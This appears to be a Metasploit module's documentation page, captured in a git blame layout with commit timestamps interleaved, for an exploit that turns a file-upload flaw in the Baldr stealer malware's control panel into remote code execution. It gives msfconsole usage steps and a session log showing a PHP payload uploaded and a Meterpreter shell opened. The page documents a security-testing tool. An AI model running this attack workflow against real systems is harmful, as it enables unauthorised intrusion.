2020-07-23 10:02:00 +03:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
### Description
|
|
|
|
|
|
2020-08-06 10:50:47 -05:00
|
|
|
This module exploits an arbitrary file upload vulnerability within the Baldr
|
2020-08-06 11:18:39 -05:00
|
|
|
stealer malware control panel when uploading victim log files (which are uploaded
|
|
|
|
|
as ZIP files). Attackers can turn this vulnerability into an RCE by first
|
2020-08-06 10:50:47 -05:00
|
|
|
registering a new bot to the panel and then uploading a ZIP file containing
|
|
|
|
|
malicious PHP, which will then uploaded to a publicly accessible
|
|
|
|
|
directory underneath the /logs web directory.
|
|
|
|
|
|
|
|
|
|
Note that on versions 3.0 and 3.1 the ZIP files containing the victim log files
|
|
|
|
|
are encoded by XORing them with a random 4 byte key. This exploit module gets around
|
|
|
|
|
this restriction by retrieving the IP specific XOR key from panel gate before
|
|
|
|
|
uploading the malicious ZIP file.
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Install the application
|
|
|
|
|
2. Start msfconsole
|
|
|
|
|
3. Do: `use exploit/multi/http/baldr_upload_exec`
|
|
|
|
|
4. Do `set rhost 192.168.1.27`
|
2020-08-06 11:18:39 -05:00
|
|
|
5. Do: `run`
|
|
|
|
|
6. Verify that you get a shell on the target system
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
|
|
|
|
2020-08-06 11:18:39 -05:00
|
|
|
## Options
|
2020-07-23 10:02:00 +03:00
|
|
|
|
2020-08-06 11:18:39 -05:00
|
|
|
### TARGETURI
|
|
|
|
|
The URI where the Baldr panel/gateway is located on the target web server.
|
2020-07-23 10:02:00 +03:00
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
```
|
|
|
|
|
msf5 > use exploit/multi/http/baldr_upload_exec
|
|
|
|
|
msf5 exploit(exploit/multi/http/baldr_upload_exec) > set rhost 192.168.1.27
|
|
|
|
|
rhost => 192.168.1.27
|
|
|
|
|
msf5 exploit(multi/http/baldr_upload_exec) > run
|
|
|
|
|
|
2020-08-06 10:50:47 -05:00
|
|
|
[*] Baldr Version: <= v2.0
|
2020-07-23 10:02:00 +03:00
|
|
|
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
|
|
|
|
|
[+] Payload successfully triggered !
|
|
|
|
|
[*] Started bind TCP handler against 192.168.1.27:9090
|
|
|
|
|
[*] Sending stage (38288 bytes) to 192.168.1.27
|
|
|
|
|
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
|
|
|
|
|
|
|
|
|
|
meterpreter >
|
2020-08-06 11:18:39 -05:00
|
|
|
```
|